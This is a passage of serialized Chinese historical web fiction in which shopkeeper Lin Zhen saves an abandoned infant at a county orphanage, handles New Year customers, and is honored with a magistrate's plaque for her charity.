林真捧着一碗热乎乎地甜粥,与黃繡娘缩在铺子里头的隔间内说话。 黃繡娘总算是忙完了,借着腊八,不止给林真送了自家熬的腊八粥,还是来正经道谢的。 她又给林真制了一件冬日的长褙子。 双层的,里头夹丝绵,外头是红缎,内里细细赘了一层灰鼠皮,露出来的风毛瞧着油光水滑的。 大红的缎面灰鼠褙子,大气又奢侈。 林真咽了咽口水:“那啥,黄姐姐先前已送了一身好衣裳,怎又送这样贵重的褙子来?” 她前世都没机会上身的皮毛大衣,这时候就有了? “好妹子,你就莫要与我客气了,一身衣裳算甚?你给我出的好主意,我那铺子一盘活,又有那耳不闻帽子,今朝赚得可不少。”黄繡娘红光满面,眼里的欢喜劲儿毫不掩饰。 她摆摆手,道:“你可别推辞,这褙子是照着你的身量制的,慈溪县少有小娘子能穿。不送你,我白放着教虫蛀了。” 她坐了一会儿子,与林真好生闲聊了一会儿才走。 出门碰上了許经纪在外头探头探脑,黄绣娘嗤笑一声。斜睨了一眼,并未打招呼,径直往自家铺子上去了。 这人实在浅薄,这时候晓得来烧热灶了? 先前反复无常,明明走了好运,早早便结交下的人物。不说好好维护着彼此之间的交情,反而處处怠慢。 人早就得罪光了,这时候来,有甚用? 许经纪自然也瞧见了黄绣娘,黄绣娘那鄙夷的眼神他也没错过。 心里咒骂几句,几经踌躇,好容易下定决心往铺子里凑,笑脸堆出来,才要迈步,瞧见一道风风火火的身影往林家铺里跑去。 许经纪抬起来的腿赶紧放下,他心里哀嚎:不是一早就来了麽?怎又来? “怎又来了?” 林真瞧着大红帽,不,楊旭,也觉着奇怪。 楊旭一身朱红斗篷,银鼠毛镶边,瞧着好不神气,他今儿一大早代表杨家来给林真送腊八粥的时候,差点儿闪了她的眼。 “林掌柜过节好,今儿得了我家老爷子的令,特意早早来给您送过节的腊八粥,望您顺遂安康,门户吉昌。” 被炫了一脸的林真正在心底偷偷叫杨旭大红帽。 冷不丁听了这番话,一时还没发应过来:杨家老爷子,杨典史?给她送腊八粥?他们俩家的交情甚时候这样好了? “顺遂安康,百厄皆消。”林真下意识回礼。 又有些不确定道:“真是杨典史交代的?你没记错?” “哼!”杨旭把头一昂,“那是自然,我年年送腊八粥,今年只新添了你这一处,我还会弄错不成?赶紧的,快回我一碗你家的粥来,我还得跑好几家呢!” 杨旭好不得意:这么多年了,终于,他自个儿结交的友人能得老爷子一句夸!不,不是一句,是好几句! 送走了杨旭,林真这头陡然热闹起来。 赵掌柜、李掌柜、周掌柜…… 长兴坊内大大小小的掌柜们几乎都上门来,她熬的一大锅腊八粥教刮了个干干淨淨。 “幸好咱家今儿熬了腊八粥,也幸好粥里是使了好料子的。”林真盯着干干净净,用水一晃便能清洗干净的陶瓮自言自语道。 杨典史的威力,如此之大? 林真一开始还没琢磨明白,后头上门赠衣裳的黄绣娘一句话点醒了她。 “杨家,世代为胥吏,已在慈溪县几十年了。” 铁打的胥吏,流水的官。 县尊、县丞和主簿,这种由朝廷指派的官员,若无特殊情况,多是三年一调换。 慈溪县繁华,政通人和,算是个刷资历的好地儿。 此处还没出过连任的官员,可胥吏,数来数去,还是那么些人。 像他们这样经营些小生意的掌柜,为官入仕的够不着,可若是能与杨典史这位胥吏头头交好。 其中好处,怕是比讨好县尊大人还有用。 如此,倒是能想得通这一大早的热闹因何而起了。 只是,杨旭怎又来了? 林真盯着铺子里的大红帽,有些疑惑。 第64章 “我来自然是有要紧事儿。”楊旭眉一挑, 显出十足的神气来。 林真很是上道,端了一盏子热茶来:“劳烦楊小郎君细细说来。” “好说,好说。”楊旭接过茶来, 装模作样刮了刮茶沫儿。 “我家老爷子教我给你帶句话。”楊旭清了清嗓子,学着他阿翁的语气道。 “冬寒,慈幼院里的孤幼冬日难熬啊。” “嗯嗯,还有呢?”林真洗耳恭听状。 “没, 没了……” “没了?就这?你没听岔罷?”林真皱眉, 满是懷疑。 “真没有!我也不晓得甚意思, 追着我阿翁问了好久,可他老人家就这一句话!” 杨旭跳腳,刚那副强装出来的稳重样子彻底消失。 “哦,原来你也不晓得啊!”林真阴阳怪气, “还喝茶,你一邊儿待着去。” “嘿嘿。”杨旭不恼, 反而围着她团团转, “你是不是晓得了?与我说说。” 林真教他转得头疼:“我哪晓得?去去去, 去找沈山平,让他教你冬日里用箩筐套鸟雀的法子, 他要是说不晓得定然是骗你的。他前儿套了好些, 褪了毛, 除了内脏, 整个儿用油炸了,香得咧, 骨头都是酥的!” “当真?”杨旭果然教套鸟雀吸引了注意。 “我也要套了鸟雀,炸了来孝敬我阿翁。” 我看悬,有这功夫, 还不如去西市买几只鹌鹑来炸。 已经试了许多回,碎米浪費了不少,连根雀羽都没捞着的林真暗想。 贺景回来的时候铺子里便是这样一幅景象。 林真缩在柜台邊上,眉头轻蹙,似有心事儿;杨旭缠着沈山平,叽叽喳喳说得起劲儿;沈山平,一幅烦得要命的模样,有时还会瞪一眼林真。 贺景低头,藏住唇邊的笑意:定是真姐儿不知又使了甚法子,教杨旭来纠缠沈大哥,自个人好落个清闲。 “大景!你可来了,快将这烦人的小子弄走!”沈山平一眼瞧见贺景,连忙出声求救。 “啧!怎能嫌我烦?明明是你说不清楚!”杨旭并不服气,反而要贺景来评理。 贺景:只怪自个儿走慢了些。 “好了好了!实践出真理,千说万说不如动手一试,你家去自个儿试试,若是不成,再来尋你沈大哥好生教。”林真出来。 “现在,还劳烦杨小郎君与我走一趟慈幼院。” 贺景是去送貨的。 冬日天冷,風也大,客人不樂意出门,多是叫闲汉跑腿。可也有那会打算的,不樂意多出錢,唤了人帶个口信儿,便指着店家送貨上门。 毕竟,这带口信和采买送貨的錢,可是两个价。 可要林真自家出这个錢,她也不乐意。 冬日里,闲汉的跑腿費可贵了。 不想失了客源,铺子里便只能自家认了送货的活儿,通常是贺景或沈山平去跑。好在有辆驴车,能少受些罪,不然,林真是宁愿花錢。 可牲口行离得挺远,贺景送完货,再将驴车送去牲口行,回来的时候还要走好一段路。 林真端了一盏红糖姜茶给他,自个儿裹得严严实实,提溜着杨旭出门去。 一出门便教冷風吹得直缩脖子,她眼神不由落在隔壁的铺子上,若是此时能开了这铺子用,能方便许多。 隔壁的铺子带院子,不止能将驴车栓在院儿里,还可将家里的鸡鸭兔儿養一些在那头,若是哪日生意好,提腳便能宰杀了来。 也不会落得个备货不足的埋怨。 “你盯着那铺子作甚?”杨旭顺着林真的目光看过去,随即了然道。 “想赁啊?眼光不错,可这到是一桩难事。那铺子也不晓得是何人买了去,一点儿消息都没露。” “嗯?你打听那铺子作甚?”林真奇怪。 这小霸王也不是做生意的料子啊,申家的铺子又在东西二市,人卖的都是稀罕货,也瞧不上这铺子。 “我先前想着买下来,低价赁与你,当是赔罪了。可哪晓得压根儿没机会,便只能唤你日日给威远武馆送肉了。”杨旭撇撇嘴,显然还有些耿耿于懷。 “也不晓得是谁,如此神秘。” 林真一笑:“谢过杨小郎君的好意了。说不得,能借您吉言,真教我赁得这铺子。到时候,两边儿打通,整个长兴坊,就数我这头气派!” 这铺子与她当真有缘! 林真喜滋滋,合该她用来开生鲜超市。 两人闲聊几句便闭口不言,反而用领巾将口鼻都围住。 要不然,吃一嘴的冷风,胃里受不住,夜里说不得还会发热。 慈幼院在惠民坊,与惠民藥局相邻。 这两处都是官方机构,算是古代版的孤儿院和医院的便民门诊。 “惠民藥局多少还能收些草藥钱,可慈幼院,真真全靠衙门里拨款,官田收入微薄,全指着官田根本養不活这两处。幸而还有官窑制陶烧瓷能拨一笔子钱,平日里又有县里的义士捐赠,这才能养活许多人,咱县里的慈幼院办了许多年了!县尊大人上任后,又与布坊、造纸和木作行商定,从慈幼院挑些十来岁的孩子去打杂,管饭又给几个工钱,能减轻慈幼院的压力,又能学些手艺,此举大善!” 杨旭装模作样,摇头晃脑。 林真盯着他,揶揄道:“这又是哪儿打听来的?学得不错。” 果然,杨典史應当是有意引她来慈幼院的。可是何目的?筹集善款?直说不行么?为何行事如此隐晦? 杨旭将头一甩,道:“这你别管。我又不傻,阿翁语焉不详,我问不出来,如何能不多打听打听慈幼院的事儿?” 免得你问起来的时候,丢了面子! “如此,便多谢杨小郎君了。” “好说,好说。” “这惠民药局倒还有些人气儿,可这一墙之隔的慈幼院,便鲜少有人踏足,冬日里更是冷清……” “哪个杀千刀的!干出这等丧尽天良的事儿来!真该教老天爷收了去!” 杨旭的话教一阵咒骂堵住。 林真挑眉:少有人来?冷清? 两人对视一眼,同时加快步伐。 杨旭大步向前,林真怕摔,便是心急也只能瞧着杨旭先行一步。 “当真狠毒!” 杨旭的骂声传来。 林真终于到了慈幼院门前,探头一瞧,也皱眉。 一穿着褐色短袄的妇人,双手怀抱一弃嬰,弃嬰教朱红斗篷盖着,林真瞧不真切,可妇人脚边的一只破篮子林真是瞧见的。 冬日天寒地冻,用这破篮装裹…… “可要去惠民药局尋位擅小方脉科(小儿内科)的大夫来?”林真问道。 那妇人抬起头来瞧了她一眼,皱眉:“你是何人?” “周麽麽,这是我至交好友,我阿翁叫我领她来慈幼院瞧瞧。”杨旭赶紧道。 妇人这才缓了面色,叹道:“小娘子不用去,院里有位女医,且先随我进来罷,天寒,旭哥儿别染了风寒。” 林真这才得以一同进门。 杨旭还在后头嘀嘀咕咕:“我习武之人,怎会惧怕些许风雪?阿嚏,阿嚏!” 林真看他:“可别嘴硬了,快跟上!” 那位姓周的麽麽腿脚利索得很,已抱着怀中的嬰孩进屋去了。 屋内另有一位甚是素净的妇人,瞧这屋子的布局,她應当就是周麽麽口中的女医。 可她制掀开弃嬰身上的裹着的粗布看了一眼,语气平淡道:“胎衣未净、命蒂未落,救不活。” 说罢便转过头去,继续用药铡片草药,不再朝这边儿看一眼。 林真皱眉,伸长脖子瞧了一眼。 是个女婴,身上血迹未净,脐带瞧着还是湿的;又瞧瞧周麽麽,也是一副波澜不惊的模样。 她皱眉,顾不得礼数插嘴道:“女医再瞧瞧?婴儿吃奶,我去牵头母羊来,喂羊乳想来能多几分……” “她刚从娘胎里出来,一口母乳都没喝过便被扔了。本就虚弱,光吃羊乳更添体虚血亏之症,养不大。”女医头都没抬,冷声打断。 “呃……”林真哑然。 她前世未婚,今朝已婚未育,两辈子都没与婴儿打过交道。自然不晓得婴儿光喝羊奶会出问题,也不敢反驳专业人员,一时语塞。 周麽麽一叹:“小娘子心善,可这样的事儿慈幼院见得多了。这个天儿,就这么胡乱一裹……只能怪她没投个好人家,咱走罢。” “哇,哇哇……” 恰在此时,那原本异常安静的女婴突然爆发出一阵儿凄惨的哭声来,她没甚么力气,声儿自然小,嚎了两声更是出不了声儿,张了嘴直淌泪。 屋子里静得厉害,林真呼吸一窒,婴儿微弱的哭声仿佛黏在她耳膜上。 “找个才生产过的妇人,我每月给六百个钱,再给她家牵一头母羊,請她每日舍出一碗,呃,我不晓得这样的婴孩该吃多少,总之,請她每日捎带喂这孩子一两顿,羊乳母乳混养,她應当能活。” 林真脑子赚得飞快。 “杨旭,你消息灵通人脉广,寻奶娘的事儿交与你,慈溪县恁大,总能找到合适的人家。” “哦哦,好,我一定办成!” 杨旭当即应下。 林真又是一礼:“还请女医和麽麽多费心,我们这就去。” 羊奶戈家羊肉铺就有,前些日子燕儿抽条腿疼得厉害,林真便想订奶给她喝,虽说费了些功夫,也没找着牛奶,只有羊奶。 可此时倒是帮上了大忙。 “你救了这一个又能如何?慈幼院门口弃婴何其多?你每个都能救?”女医这时候才抬起头来,双目直直盯着林真。 她有一双寒潭似的眼眸,直视人的时候,无端生出一种审判的意味来。 林真教这寒光慑住,默了一瞬才反应过来:“我人微力薄,自然不能救千千万万人,但撞在眼前的都不救,我心难安。” 她笑了笑又道:“我还挺能赚钱的,女医便当我是花钱买个安心罢。我这就去买羊乳来,还请女医也救一救眼前这孩子。” 林真说完便转身,急着去买羊奶,母羊先放一边儿,买些羊奶来先应应急。 女医扔开药铡,走了好几步。 杨旭转身,他也急着去寻才生产的妇人。 女医叫住他:“杨家小子莫要跑冤枉路,去常乐坊!前些日子常乐坊内有几位有孕的妇人来惠民药局瞧过,你去那处寻,有钱有羊,换些母乳不难。” 杨旭一拱手,顾不得答话,便也忙叨叨跑了。 周麽麽瞧了怀里的女婴一眼,叹道:“你倒是个命硬的,命硬些好。生如草芥,命格再不硬些,哪里有活路。” “哼!我瞧她是天生苦命!” 女医冷哼,可手上却很诚实,接过女婴细看。 第65章 楊旭是带着一副藥回去的, 那是张女医教他带回家熬来吃的。 他在慈幼院已喝了一碗只熬了姜未加糖,浓得辣嗓子的姜茶。 本是不想带的,可教张女医轻轻一瞥, 楊旭便缩了脖子,乖乖带走了。 “阿翁,你作何要我引了林掌柜去慈幼院?又为何不许我插手捐赠之事?”楊旭很不高兴,一回家就直直奔着他阿翁的院子来。 “阿翁如此, 自有阿翁的道理, 如何?今儿林家那小娘子可给慈幼院施些米粮?”楊典史老神在在。 “自然!不止舍了米粮木炭, 还牵了两头奶羊,冬日羊价贵,又是产奶的羊,两头便是五貫钱了!每月又还许出去六百个钱!”杨旭尤自忿忿。 “林家只有那一个鋪子, 本就是农戶,还是个没多少田地的农戶, 一家五口人, 全指着那鋪子呢!您这不是坑人嘛!” “甚奶羊?每月六百个钱又是甚?慈幼院有规矩, 不能接受钱财捐赠,这钱是甚情况?你且仔細说来。”杨典史惊疑不定。 他只想教林家小娘子给施些米面柴火, 怎还牵扯出这许多事儿来? “啊?您不曉得?”杨旭也是一脸懵, 他今儿曉得那两头奶羊作价如此, 心里老不自在了, 又碍着他阿翁的吩咐,难得当了回铁公鸡。 是一个子儿都没往外掏!心里那团气啊, 堵一路了,结果他阿翁并不知情? 杨旭挠挠头,将今日在慈幼院的见闻一一道来, 有杨典史的追问,各处細节是一点儿没落下。 良久,杨典史才叹道:“这女娃是有点儿气运在身的,好啊,好啊!” 杨旭没憋住:“这还是好事?慈幼院门前的棄婴屡禁不止,今儿这个更过分,才出生的婴孩,大冷天的用块儿破布一裹,就扔在慈幼院外头吹冷风,分明是存心不想要这孩子活!可偏又多伪善,何处扔不得,偏扔在慈幼院!” 他語气不善:“听周麽麽说,外头的敲门声儿响了许久,那人是听见她出声應下才跑走的!哼!我明日就去查,慈幼院那头少有人去,算着时辰、再看其行路朝向便能圈定人来,再一一去他们家里打听,女子有孕可藏不住,一准儿能问出来!” “哟!杨小霸王长进不少。尋出来之后呢?又打一顿?”杨典史斜着眼睛瞧自家孫儿,等着他跳脚。 果然,杨旭瞬间坐不住了,一下子蹦起来,嚷嚷道。 “阿翁!你怎也如此唤我?还有,我这分明是惩惡扬善!大虞律令,不得遗棄女婴,县尊大人更是三令五申不得如此。那人行此惡事,尋出来好好惩戒一番,定能杀住这股风气!” “能想到杀鸡儆猴,不错,确有长进。”杨典史端了茶盏,轻抿一口。 “阿翁!” “听见了,听见了,你阿翁耳朵灵着呢!不需如此大声。” …… 瞧够了自家孫子气急地模样,杨典史才缓缓道。 “旭儿,‘擅杀子者,黥为城旦舂;舍者,徒二年’,这是自先秦就有的律法,可几千年过去了,这杀子弃子的情况可有被禁住?当今更是定下‘杀子孙之家,父母、邻保与收生之人,皆徒刑编管’的連坐之法,可照样收效甚微。” 杨旭安静下来,他也知道是这个理,可心里照样不快。 “黔首困于贫愚,此天性也。故牧守之道,必饵之以利,使知所趋;慑之以威,使知所畏。如此,双管其下,方可有立竿见影之效。” …… 杨旭不说话了,只盯着杨典史瞧。 “嗯?看我作甚?刚阿翁说的,你可懂了?”杨典史问道。 杨旭点了点头。 “孺子可教……” “阿翁,你又不能科舉,学那些酸儒掉书袋作甚?” 杨典史一口气差点儿没喘上来,骂道:“你这猢狲,你阿翁是考不了科舉入不了仕,可你能去考武举啊!” 现任县尊大人,不过三十,已是一县之尊,且这县还是慈溪这样地理位置优越且经济繁茂的大县。 还有,县尊大人姓乔。 乔氏,虽不如王谢崔卢郑那样声名在外,可仔细算来,也是名门大族。 杨典史打从拜见上官的那一日,心里便有个野望:他要请县尊大人奏保,令旭儿取得参加武举解试的资格。 一招得中,便能授官,便是最末等的从九品陪戎校尉,那也是仕! 与他们这样世代为吏、升迁渺茫的老东西再不相同。 他杨家,往后便有指望了! “好了!此时就此了结,你放心,你那好友吃不了亏!你不许出门去了,天寒地冻,惹了风寒不好,白教你母亲忧心。” 女掌柜、上门婿,现又搭救了一被弃的女婴,如此种种,本是寻个由头就上回官银造假一案嘉奖一二。 可人运气着实好,说不得能得桩大机缘! “我娘才不担心我呢!今朝练功时,她下手可狠了!”杨旭嘟嘟囔囔,“阿翁也是,用得着我的时候便使唤,用不着了才说天寒,这天儿又不是头一日这样冷!” 他还想去寻沈山平带他套鸟雀呢! “臭小子!今儿功课可做完了?拿来给阿翁检查!” 这小子如此皮实好动,定然是功课不够多。 == 另一头,林真也在说慈幼院之事。 她今儿一口气许出去小十貫钱,怎么着,都得与賀景说一声。 “两头奶羊合计五贯,另有每月六百个钱,估摸着要给三四个月,还有一石糙米百斤炭。炭是黑炭,不是麸炭,今年天寒,贵一些。如此,便花去十来贯钱了。” 铺子里五六日的进项了,若是分在两人头上,那得更久,着实不是一笔小钱。 林真瞧着賀景,又解释了一句。 “那孩子撞在我跟前来,我不能不救。再有,我琢磨着杨典史應当是有意教我给慈幼院施些米粮,虽不晓得目的为何,可细细想来,应当不是坏事。” “真姐儿,不必心有愧疚,更不必不安,你尽可做你想做之事。”賀景一笑。 “反正,咱家本就你当家,铺子里本就仪仗着你赚钱。” 这一点,賀景从来都很明确。 “嘻嘻,总要与你说一声的,铺子里谁都出了力的。家里的事儿咱也得商量着来,哪有搞一言堂的?今朝事发突然,不然,我一准儿先过问你的意思。” 林真哄人也很是有一手的。 “家去给爹和苗娘子都说一声,家去咱就不说钱了,只说事儿啊。到时,还请贺小郎也说说好话。” “原是在这儿等着我呢?不过林掌柜也是白嘱咐,家里人都向着你,再不会有二话的。” “可我怎觉着林屠戶与贺小郎愈发投契了呢?前儿你俩不是在那头嘀嘀咕咕说小话麽?哼!别不承认,我瞧得真真儿的,一见我来,立时便分开了,可我爹那样子,一瞧就有鬼。说!你俩背着我说甚?” 林真突然发难,本是顽笑几句,可不想,还真瞧见贺景面上一闪而过的慌乱。 “嗯?不是吧?你俩还真背着我有事儿?”林真惊疑不定,这俩,真背着她说她坏话了? 她最近也没干啥罢? 最过分的,也不过是前儿揪着老驴子的耳朵骂它,教她屠户爹撞见了。 可这事分明是大灰的错,它是真成精了,愈发躲懒,日日缩在棚子里,連上磨都要连哄带骗的。家里新来的小黄还逮耗子呢! 林真盯着贺景:“快说!” “这……”贺景支支吾吾,耳根泛红,“爹说,说,家里冷清了些。” “嗯?哪里冷清了?日日都忙得不成……” 林真瞥见贺景红红的耳朵,一下子反应过来:呵!她爹,催生呢! “大黄不是每日淘气?沈山平说了,再有几天,小花也可抱来了,到时候,都扔给我爹去養!” 前些日子说起要養狗,沈猎户很当一回事儿,他家里的猎犬没抱崽,人还专门去寻了从前买狗崽子的人家,给林家定下两条好狗来。 贺景无奈一笑:“真姐儿,你明明晓得爹不是这个意思。” “哼哼,我当然晓得,你不用管,我自会去说他。” 她今朝才过十八!一点儿都不想当娘! 她与贺景成婚大半年了,在讲究多子多福的今朝,她屠户爹有些心急也算正常。 可她不成,心里那关始终过不去,至少,也得等她年满二十再说。 她得去跟她屠户爹说道说道,别瞎操心,在她跟前不说,还说到贺景那头去了…… 等等,贺景也是土著,贺家湾那头更封闭,他是如何想的? “你呢?你是甚意思?我熬煮汤藥你应当晓得为何。” 林真打算成婚时,头一件事儿,便是去济世堂求避子汤药,扯谎说是身子不好,先养养再备孕。 这时候可没有计生用品,算安全期也不是那么安全,还是再上一道保险罢。 济世堂的大夫被缠得没法子,只能斟酌着开些不伤身却要补身的汤药,胡子都被揪断了几根。 林真盯着贺景,难得有些执拗。 贺景如此聪明,不会猜不出两人行。房后,她熬药是为了甚。 贺景正色道:“孕育生产之苦,都只能教你独自承受,何时有孕,自然该由你决定。咱俩都还年轻,便是多等几年也等得起。” 这个回答,林真还算满意。 “嗯?你说甚?”她忽而听见贺景低語。 “没甚!我说要多赚些钱来,家里日子好了,孩儿也好。” 林真嘴角噙着笑意,语气贼兮兮:“是~麽~~” 她听见的。 这人,分明说的是:我还想与你,咱们二人,多过段日子—— 作者有话说:这一章应该会高审,如果有虫也只能不改了 大家见谅[求你了] 第66章 年关将至, 鋪子里异常忙碌。 节省了一整年的百姓们,在此时,難得阔绰一回, 大方地解开钱袋采买年货。 背篓里满载的各色货物,是他们对新年的庆祝,也祈望着新的开始。 “春花婶,您不肖在此时买豆腐, 忒重。廿五那日, 我家在村里磨豆腐呢, 您那时来买,不论是冻豆腐还是炸丸子,都好。” 枣儿村过年,在廿五这一日, 便会开始炸各色丸子,其中有一道豬肉豆腐混了炸的丸子, 很是好吃。 “咦?真姐儿, 你家鋪子恁早歇着呀?我瞧城里好些鋪子在年关上头还不会歇着哩。”春花婶奇道。 “嗨, 那是本就住在縣里的大掌櫃们才会如此。我家,自然还要赶着回村儿过年的!” 过年的时候城里热闹, 人在这时候也舍得花钱, 有想趁着这些日子多挣钱的商戶, 自也有不少覺着一家團圆大过赚钱的人家。 林家鋪子门前, 早早便挂了一张歇业招牌,小年一过, 廿五开始歇业,要一直歇到初八。 “歇恁久呀?” 不止家里人覺着久,连店内的熟客都觉着久。 “诶呀呀, 那我正月里头想买只新鲜兔儿涮锅子吃都没地儿买去!”那熟客不依,苦苦纠缠。 “林掌櫃,我那老丈人嘴多挑剔,年年初五要在我家吃饭的,我这大话都吹出去了,桌上若是没新鲜兔儿来涮锅子,那是真跌面儿!您可得幫幫我,枣儿村离縣里不远的嘛!这样,你初四给我送两只现杀的兔儿来,我另给您三十个钱的车马費,您受受累,跑一趟罢。” 铺子上的兔子林真没当正经野味儿来卖,直言说了是从前猎来的兔子,自家想了法子配种養大的。 如此,价钱便低些,可再低,一斤也要卖三十五个钱。 沈猎戶養兔子是摸出些门道来,有田叔父子俩又多勤快細致,家里的兔子养得好,剥了皮后还有两斤出头快三斤的肉。 这两只兔子便是两百来个钱,已算是一笔不小的生意了,再有,人是熟客还多上道,主动要出跑腿費呢! 林真琢磨了一番,爽快应下来。 可凡事自来有一便有二,一旦开了这个头,尋上门来的客人便多。 个个都还多有理,这个要宴请师长、那个要与多年未见的好友赏雪饮酒…… 总之,个个都不好直言拒绝。 林真头大,嚷道:“您各位行行好,也得让我过个安稳年罢。” 遂定下规矩来:百文起送,每两日一送,收定钱不说,每个单子还得收十个钱的跑腿费! 以上条件都能接受的,林真才会写张单子当收据,银货两讫时双方当面毁去。若有买家单方面毁约,不好意思,定钱不退! 铺子上除了那歇业的招牌,又多挂了一张。 痛失年假的林真,定下的条件在此时看来,自觉挺苛刻。可不想,来找她定货的客人只多不少。 “哎呦,要不都说林掌柜经营有方呢!这法子好,各项都写明白了,咱买卖双方都不怕毁约。您不晓得,前儿我明明尋那郝家肉铺定了半扇好肉,哪晓得,我不过晚去了一会儿子,他居然卖给别人了!寻他理论,不仅不承认,反倒还怪我去迟了!您说说,哪有这样做生意的!” 郝家肉铺是长兴坊内另一家肉铺。 林真只笑笑,与人核对了他正月里定下的鲜货及送货时间,至于郝家肉铺如何,她并不搭腔。 因着这一出,铺子里又招揽来了好些不差钱的客人。 本就因着年关忙碌的铺子更添了几分忙。 现今一头豬且还不够卖的,铺子日日都要卖出去一头多近两头豬,其余鸡鸭兔子各个儿都能卖出去十来只。 这厢忙碌,虽晓得赚钱,可人也确实辛苦。 临近年关,家里也要预備着过年,琐碎事极多,苗娘子带着吴麽麽忙得團团转;冬日豬价好,收猪困難,林屠户免不了在上头多费些时间。 铺子里便是林真、賀景和沈山平整日守着,再不能像年前那样,还能分两波人来守铺子,多少能歇一歇。 好在賀景和沈山平都是能吃苦的,一日里,有大半日都站在外头与人割肉讲价,一直到下半晌才能稍稍坐下来,歇口气。 如此,也没与客人红过脸,倒是无形中又为铺子赚了一波好名声来。 这日,是个难得的晴日。 铺子上半晌忙得脚打后脑勺,下半晌人都往茶铺子里吃茶晒太阳去了,倒是难得清闲。 林真在小隔间里煮茶,他们守着铺子无法出去,可自家也能煮一盏子好茶来,忙里偷闲说笑几句。 这时,铺子上来了位年轻小娘子,直直站在沈山平跟前。 “店家,我家今日有客,可偏不凑巧,家里没备下好菜来,这厢才出门采买,时间紧得很。我在你这头买肉,你可能帮着剁了?” 沈山平听那小娘子说得客气,且现在铺子上也没甚人,他虽累了大半日,可想着平日里林真与賀景招待客人的模样,点点头,客气到。 “搭把手的事儿,能成!” 女子眉头一挑,先指了猪排骨:“稱上五斤来,都剁成寸许长、二指宽的块,一半用来炖汤一半用梅菜干来蒸。” 沈山平依言选了排骨,寻了砍刀剁肉。 那女子见沈山平依言剁肉,略想一想,又指着案上的一叶猪肝道:“再要一叶猪肝,細細片了,制香炒猪肝。” 沈山平点头,又去稱猪肝。 “再要五斤好肉,肥三瘦七,细细切做臊子。” 沈山平没吱声儿,只去捡肉。 “最好肥瘦分开,肥的剁一处,瘦的剁一处……” 不是,你怎不要寸金软骨做臊子呢! 林真在里头听得不成样子,刚想出去,賀景进来,拦了她,压低声儿道。 “你再瞧瞧。” “我瞧甚……” 林真先还疑惑为何贺景不出声儿,此时一瞧,却瞧出些门道来:那年轻女子,不去看她买下的肉,也不去瞧斤两,反盯着沈山平直打量…… 贺景凑近林真,道:“前儿,许官媒不是来过一趟?” 林真步子一顿,停下来,与贺景两人缩在门板后,探头探脑。 那头,沈山平听了这话却没动,笑道:“客人这臊子用来作甚?做馅儿还是当浇头?无论哪样,自然都是肥瘦相间才好吃,我倒是不曾听过有甚菜,需要分得这样清楚。” 女子听了这话没恼,反笑点点头道:“是我想岔了,如此,便剁细些就成。” 沈山平瞧了她一眼,这才动手。 却听得那女子又问:“店家倒是好性儿,平日里都是如此?” “开门做生意自当和气生财,可先前倒不曾如此,只瞧着客人一时不凑手,且这时铺子里清闲,这才帮着切肉。客人若是赶在上半晌店里忙碌时来,便是买再多肉,也是不成的。” 沈山平这话,说得不软和,可那女子却倏而一笑。 “多謝店家。” “客人自便,这时候去菜行也成,我待会儿自会与你复称,不肖忧心。” 沈山平说完,便低下头来,一把刀子使得娴熟,该剁该片一点儿不含糊。 那女子细看他几眼,面上带了些笑,这才走了,瞧那方向,还真是往菜行去的。 “可真不易。” “可真谨慎。” 林真和贺景的声儿同时响起。 贺景咂摸了一会儿林真的话,确实不易。 他凑过去,在林真耳边问道:“那你,先前与我相看时,有没有暗中多打听几句?” 那……自然是没有的。 她那时忙得很,心里寻思着:这个不行就换下一个,再不成,借精后,有得是法子打发人走。 不过,此时当然是不能这么说的。 林真笑眯眯,也压低声儿回道:“我见你第一眼,就觉着合眼缘呢!” “你俩口子作甚?嘀嘀咕咕的,也不说来帮着将肉包好。” 沈山平一扭头,瞧见倆人凑在一处,不乐意了。 “哼!你俩,分开!” “哎呦,沈大哥勿恼,你辛苦了。剩下的都交给大景,你洗洗手,喝盏子热茶。” “那倒不用,我一人沾手便罢了,你叫大景出来!刚那小娘子好生厉害,我怕待会儿应对不过来。” “扑哧!” 林真没忍住,笑出声儿来。 贺景忍住了,他快步出去,怕沈山平真恼了。 林真贼兮兮端了茶水过去,笑道:“我赌,那小娘子待会儿定只会道謝,不会多说。” “那感情好,我这又是剁骨头又是片猪肝的,一个子儿没多收,确也当得起一句谢。” 林真:…… 日子在几人的嬉笑中度过,年味儿愈发浓厚,县里处处是一副热闹景象。 林家铺子终于闭门歇业,家里人都松了一口气。 铺子的事儿暂且放在一边,林家众人这才腾出手来折腾自家的年货,又还要往各处送礼。 廿七那一日,林屠户喊沈山平和林大伯一家过来,预備着给自家杀年猪,且一气儿杀两头。 今年日子好,且是一家子在一起过的头一个年,合该隆重些,再算上各处走动要送礼的人家,可不得要两头猪才够麽。 搭灶、生火、烧水、磨刀霍霍…… 院子里各个都忙碌着,后院儿里的两头猪饿得直叫唤。 恰在此时,林家大门被拍得啪啪响,林真离得近,自去开门。 院外的族人气喘如牛,可面上却带着团团红晕,眼里冒光,整个人透出一股子兴奋至极的欢喜来。 “哎呦!真姐儿,快别杀猪了!赶紧去烧了好茶来!县里的官爷们来了!扛着好大一块儿匾,快些准备着招待官爷们!” 他忙忙叨叨,又皱眉。 “后院儿甚声儿?将门关严实些,可不好听呢!”—— 作者有话说:气温骤降,蠢作者已经中招了 大家注意保暖哦[红心][橙心][黄心][紫心][青心] 第67章 才将后院儿的门关好, 一抬头,果瞧见一队皂衣官靴,腰系紅綢的官差朝这头来。 定睛一瞧, 还是熟人,领头的不是楊典史是谁? 楊典史身后跟着六人。 两人抬匾,两人挑箩,还有两人持鑼, 吹吹打打, 呃, 没有吹,但确实有铜鑼开道。 再加上官差俱是紅綢缠腰,牌匾、箩筐、铜锣俱扎了紅綢,在一片灰色调的寂静冬日里, 热闹得扎眼。 后头又跟着凑热闹的村人。 乌泱泱一群人,惊飞了一片鸟雀。 “請林真林善人揭匾!”楊典史中气十足, 大声唱道。 林真依言上前一步, 叉手行礼。 其中一位衙役低声引导林真站定。 “林善人, 待会儿引燃火线,您揭开红绸便是。” 林真一看, 官差居然还帶了一挂鞭炮来, 此时另一位衙役已将其高高挑起。 “多谢。”她轻声道谢。 心中暗道, 这流程, 与她开铺子也差了甚。 鞭炮响,红绸飞。 乌木匾额显露, 四周有巧匠雕刻祥云,簇拥着正中四个大字——积善之家。 字体端正浑厚,笔力遒劲。 另有一行小字:大虞政和五年縣令乔望明题。 “居然是縣尊大人亲笔所题, 草民愧受。”林真又是一礼。 楊典史更加满意,朗声道:“縣尊大人有言‘汝田舍之户,而怀济世之心。恤孤捐粟,冬舍炭火,善行著于乡里。特题匾旌表,犒钱三万,愿此仁风长存桑梓’,林善人請看。” 两名挑着筐的衙役上面,箩筐上盖着红绸。 